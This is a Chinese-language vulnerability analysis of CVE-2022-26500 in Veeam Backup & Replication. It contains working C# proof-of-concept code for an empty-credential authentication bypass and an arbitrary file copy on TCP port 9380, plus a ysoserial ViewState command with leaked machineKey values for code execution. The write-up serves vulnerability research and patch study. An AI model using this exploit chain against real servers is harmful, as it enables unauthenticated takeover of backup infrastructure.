作者:Y4er
原文鏈接:https://y4er.com/post/cve-2022-26500-veeam-backup-replication-rce/

看推特又爆了cve,感覺挺牛逼的洞,于是分析一手。

官方公告

https://www.veeam.com/kb4288

The Veeam Distribution Service (TCP 9380 by default) allows unauthenticated users to access internal API functions. A remote attacker may send input to the internal API which may lead to uploading and executing of malicious code.

漏洞描述說是tcp9380服務出了問題,直接分析就行了。

環境

VeeamBackup & Replication_11.0.1.1261_20211211.iso

還有補丁包VeeamBackup&Replication_11.0.1.1261_20220302.zip的下載地址

搭建過程就不說了,參考官方文檔

需要注意的是1和2都需要裝

分析

在我分析的時候遇到了幾個問題,最關鍵的就是怎么構造參數通過tcp傳遞給服務器,踩了很多坑,接下來的分析我分為三部分寫。

尋找漏洞點

先找到9380端口占用的程序

定位到Veeam.Backup.Agent.ConfigurationService.exe

發現是個服務程序

在OnStart中監聽兩個端口

_negotiateServer監聽9380 _sslServer監聽9381,接下來是tcp編程常見的寫法,開線程傳遞委托,最終處理函數為

Veeam.Backup.ServiceLib.CInvokerServer.HandleTcpRequest(object),在這個函數中有鑒權處理

跟入 Veeam.Backup.ServiceLib.CForeignInvokerNegotiateAuthenticator.Authenticate(Socket)

這個地方的鑒權可以被繞過,使用空賬號密碼來連接即可,繞過代碼如下

internal class Program
{
    static TcpClient client = null;
    static void Main(string[] args)
    {
        IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
        IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);?
        client = new TcpClient();
        client.Connect(remoteEP);
        Console.WriteLine("Client connected to {0}.", remoteEP.ToString());

        NetworkStream clientStream = client.GetStream();
        NegotiateStream authStream = new NegotiateStream(clientStream, false);
        try
        {
            NetworkCredential netcred = new NetworkCredential("", "");
            authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
        }
        catch (Exception e)
        {
            Console.WriteLine(e);
        }
        finally
        {
            authStream.Close();
        }
        Console.ReadKey();
    }
}

dnspy附加進程調試之后,發現成功繞過鑒權返回result

接著跟入又是tcp編程的寫法,異步callback,關鍵函數在Veeam.Backup.ServiceLib.CInvokerServer.ExecThreadProc(object)

tcp壓縮數據流通過ReadCompressedString讀出字符串,然后通過CForeignInvokerParams.GetContext(text)獲取上下文,然后交由this.DoExecute(context, cconnectionState)進行分發調用。

在GetContext函數中

public static CSpecDeserializationContext GetContext(string xml)
{
    return new CSpecDeserializationContext(xml);
}

將字符串交給CSpecDeserializationContext構造函數

說明我們向服務端發送的tcp數據流應該是一個壓縮之后的xml字符串,需要正確構造xml。那么需要什么樣格式呢?

先來看DoExecute()

GetOrCreateExecuter()是拿到被執行者Executer

根據傳入參數不同分別返回三個不同的Executer

  1. CInvokerServerRetryExecuter 重試Executer
  2. CInvokerServerAsyncExecuter 異步Executer
  3. CInvokerServerSyncExecuter 同步Executer

獲取到Executer之后進入Executer的Execute()函數,Execute()來自于IInvokerServerExecuter接口,分析實現類剛好就是上面的三個類

在CInvokerServerSyncExecuter同步執行類的Execute函數中,調用this._specExecuter.Execute(context, state)繼續往下分發

而_specExecuter字段的類型也是一個接口IInvokerServerSpecExecuter,有三個實現類。

Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)中可以很敏感的看到upload相關的東西

private string Execute(CForeignInvokerParams invokerParams, string certificateThumbprint, string remoteHostAddress)
{
    CConfigurationServiceBaseSpec cconfigurationServiceBaseSpec = (CConfigurationServiceBaseSpec)invokerParams.Spec;
    CInputXmlData cinputXmlData = new CInputXmlData("RIResponse");
    cinputXmlData.SetBool("PersistentConnection", true);
    string text = ((EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method).ToString();
    Log.Message("Command '{0}' ({1})", new object[]
    {
        text,
        remoteHostAddress
    });
    EConfigurationServiceMethod method = (EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method;
    switch (method)
    {
    ........省略.......
    case EConfigurationServiceMethod.UploadManagerGetFolders:
        CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerGetFolders((CConfigurationServiceUploadManagerGetFolders)cconfigurationServiceBaseSpec, cinputXmlData);
        goto IL_1B1;
    case EConfigurationServiceMethod.UploadManagerIsFileInCache:
        CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerIsFileInCache((CConfigurationServiceUploadManagerIsFileInCache)cconfigurationServiceBaseSpec, cinputXmlData);
        goto IL_1B1;
    case EConfigurationServiceMethod.UploadManagerPerformUpload:
        CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerPerformUpload((CConfigurationServiceUploadManagerPerformUpload)cconfigurationServiceBaseSpec, cinputXmlData);
        goto IL_1B1;
    default:
        if (method == EConfigurationServiceMethod.Disconnect)
        {
            CEpAgentConfigurationServiceExecuter.ExecuteDisconnect();
            goto IL_1B1;
        }
        break;
    }
    throw new Exception("Failed to process command '" + text + "': Executer not implemented");
    IL_1B1:
    return cinputXmlData.Serial();
}

其中case到UploadManagerPerformUpload時,進入ExecuteUploadManagerPerformUpload函數處理文件上傳

private static void ExecuteUploadManagerPerformUpload(CConfigurationServiceUploadManagerPerformUpload spec, CInputXmlData response)
{
    string host = spec.Host;
    if (!File.Exists(spec.FileProxyPath))
    {
        throw new Exception(string.Concat(new string[]
        {
            "Failed to upload file '",
            spec.FileProxyPath,
            "' to host ",
            host,
            ": File doesn't exist in cache"
        }));
    }
    string value;
    if (spec.IsWindows)
    {
        if (spec.IsFix)
        {
            value = CEpAgentConfigurationServiceExecuter.UploadWindowsFix(spec);
        }
        else
        {
            if (!spec.IsPackage)
            {
                throw new Exception(string.Concat(new string[]
                {
                    "Fatal logic error: Failed to upload file '",
                    spec.FileProxyPath,
                    "' to host ",
                    host,
                    ": Unexpected upload task type"
                }));
            }
            value = CEpAgentConfigurationServiceExecuter.UploadWindowsPackage(spec);
        }
    }
    else
    {
        if (!spec.IsLinux)
        {
            throw new Exception(string.Concat(new string[]
            {
                "Fatal logic error: Failed to upload file '",
                spec.FileProxyPath,
                "' to host ",
                host,
                ": Unexpected target host type"
            }));
        }
        value = CEpAgentConfigurationServiceExecuter.UploadLinuxPackage(spec);
    }
    response.SetString("RemotePath", value);
}

分別有三個UploadWindowsFix、UploadWindowsPackage、UploadLinuxPackage函數,跟到UploadWindowsPackage中看到UploadFile函數。

在UploadFile函數中將localPath讀取然后寫入到remotePath中。

如果把遠程主機賦值為127.0.0.1,我們就可以在目標機器上任意復制文件。

構造payload

在整個調用過程中,我遇到了多個問題,下面分步驟講解

  1. CForeignInvokerParams.GetContext(text);
  2. GetOrCreateExecuter
  3. Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)

在上文分析中我們知道,需要讓程序的Executer設置為CInvokerServerSyncExecuter實例。而在GetOrCreateExecuter取Executer實例時是根據CForeignInvokerParams.GetContext(text)的值來決定的。上文追溯到了這里CSpecDeserializationContext的構造函數

幾個必填字段

  1. FIData
  2. FISpec
  3. FISessionId
CInputXmlData FIData = new CInputXmlData("FIData");
CInputXmlData FISpec = new CInputXmlData("FISpec");
FISpec.SetGuid("FISessionId", Guid.Empty);
FIData.InjectChild(FISpec);

將FISessionId賦值為Guid.Empty即可拿到CInvokerServerSyncExecuter

接著來看還需要什么,在 Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)

public string Execute(CSpecDeserializationContext context, CConnectionState state)
{
    return this.Execute(context.GetSpec(new CCommonForeignDeserializationContextProvider()), state.FindCertificateThumbprint(), state.RemoteEndPoint.ToString());
}

context.GetSpec()函數是重要點。

他將傳入的this._specData也就是我們構造的xml數據進行解析,跟進去看看

public static CForeignInvokerSpec Unserial(COutputXmlData datas, IForeignDeserializationContextProvider provider)
{
    EForeignInvokerScope scope = CForeignInvokerSpec.GetScope(datas);
    CForeignInvokerSpec cforeignInvokerSpec;
    if (scope <= EForeignInvokerScope.CatIndex)
    {
        ......
    }
    else if (scope <= EForeignInvokerScope.Credentials)
    {
        if (scope == EForeignInvokerScope.DistributionService)
        {
            cforeignInvokerSpec = CConfigurationServiceBaseSpec.Unserial(datas);
            goto IL_240;
        }
        ...
    }
    .....
    throw ExceptionFactory.Create("Unknown invoker scope: {0}", new object[]
    {
        scope
    });
    IL_240:
    cforeignInvokerSpec.SessionId = datas.GetGuid("FISessionId");
    cforeignInvokerSpec.ReusableConnection = datas.FindBool("FIReusableConnection", false);
    cforeignInvokerSpec.RetryableConnection = datas.FindBool("FIRetryableConnection", false);
    return cforeignInvokerSpec;
}

先從xml中拿一個FIScope標簽,并且要是EForeignInvokerScope枚舉的值之一

case FIScope標簽之后會判斷不同分支,返回不同的實例,而在Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CForeignInvokerParams, string, string)中我們需要的是CConfigurationServiceBaseSpec實例,因為這個地方進行了強制類型轉換

所以我們再寫入一個xml標簽,EForeignInvokerScope.DistributionService值為190

FISpec.SetInt32("FIScope", 190);

除此之外還需要case一個FIMethod來進入UploadManagerPerformUpload上傳的邏輯。

FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);

接下來就是上傳的一些參數,我這里就不再繼續寫了,通過CInputXmlData和CXmlHelper2兩個工具類可以很方便的寫入參數。

最終構造

internal class Program
{
static TcpClient client = null;
static void Main(string[] args)
{
    IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
    IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
    client = new TcpClient();
    client.Connect(remoteEP);
    Console.WriteLine("Client connected to {0}.", remoteEP.ToString());

    NetworkStream clientStream = client.GetStream();
    NegotiateStream authStream = new NegotiateStream(clientStream, false);
    try
    {
        NetworkCredential netcred = new NetworkCredential("", "");
        authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
        CInputXmlData FIData = new CInputXmlData("FIData");
        CInputXmlData FISpec = new CInputXmlData("FISpec");
        FISpec.SetInt32("FIScope", 190);
        FISpec.SetGuid("FISessionId", Guid.Empty);
        //FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerGetFolders);
        FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
        FISpec.SetString("SystemType", "WIN");
        FISpec.SetString("Host", "127.0.0.1");
        IPAddress[] HostIps = new IPAddress[] { IPAddress.Loopback };
        FISpec.SetStrings("HostIps", ConvertIpsToStringArray(HostIps));
        FISpec.SetString("User", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
        FISpec.SetString("Password", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
        FISpec.SetString("TaskType", "Package");
        FISpec.SetString("FixProductType", "");
        FISpec.SetString("FixProductVeresion", "");
        FISpec.SetUInt64("FixIssueNumber", 0);
        FISpec.SetString("SshCredentials", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
        FISpec.SetString("SshFingerprint", "");
        FISpec.SetBool("SshTrustAll", true);
        FISpec.SetBool("CheckSignatureBeforeUpload", false);
        FISpec.SetEnum<ESSHProtocol>("DefaultProtocol", ESSHProtocol.Rebex);
        FISpec.SetString("FileRelativePath", "FileRelativePath");
        FISpec.SetString("FileRemotePath", @"C:\windows\test.txt");
        FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
        FIData.InjectChild(FISpec);

        Console.WriteLine(FIData.Root.OuterXml);

        new BinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml, Encoding.UTF8);

        string response = new BinaryReader(authStream).ReadCompressedString(int.MaxValue, Encoding.UTF8);
        Console.WriteLine("response:");
        Console.WriteLine(response);
    }
    catch (Exception e)
    {
        Console.WriteLine(e);
    }
    finally
    {
        authStream.Close();
    }
    Console.ReadKey();
}

成功復制文件。

getshell

目前只是能復制服務器上已有的文件,文件名可控,但是文件內容不可控。如何getshell?

看了看安裝完成之后的Veeam有幾個web

C:\Program Files\Veeam\Backup and Replication\Enterprise Manager\WebApp\web.config中有machineKey,然后就是懂得都懂了,把web.config復制一份寫入到1.txt中,然后通過web訪問拿到machineKey

最后ViewState反序列化就行了。

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationkey="0223A772097526F6017B1C350EE18B58009AF1DCF4C8D54969FEFF9721DF6940948B05A192FA6E64C74A9D7FDD7457BB9A59AF55D1D84771A1E9338C4C5E531D" --decryptionalg="AES"  --validationalg="HMACSHA256" --decryptionalg="AES" --decryptionkey="0290D18D19402AE3BA93191364A5619EF46FA7E42173BB8C" --minfy --path="/error.aspx"

修復

對比補丁,上傳的地方加了文件名校驗

授權的地方用的CInvokerAdminNegotiateAuthenticator

不僅判斷了是不是授權用戶,而且判斷了是否是管理員

總結

這個漏洞給我的感覺學到了很多東西,像tcp編程,Windows鑒權機制在csharp中的應用,以及在大型應用文件傳輸的一些漏洞點。

另外最后一點通過復制文件拿到web.config是我自己想出來的思路,不知道漏洞發現者Nikita Petrov是否和我的做法一致,或者還有其他的利用方式。

漏洞修復了鑒權,但是感覺授權之后仍然可能會存在一些其他的漏洞,畢竟CInvokerServerSyncExecuter仍然有很多的Service可以走,而不僅僅是CEpAgentConfigurationServiceExecuter。

分析這個洞我并不是全部正向看的,更多取決于補丁diff,但是這種大型軟件的開發架構讓我自己感覺學到了很多。

文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1873/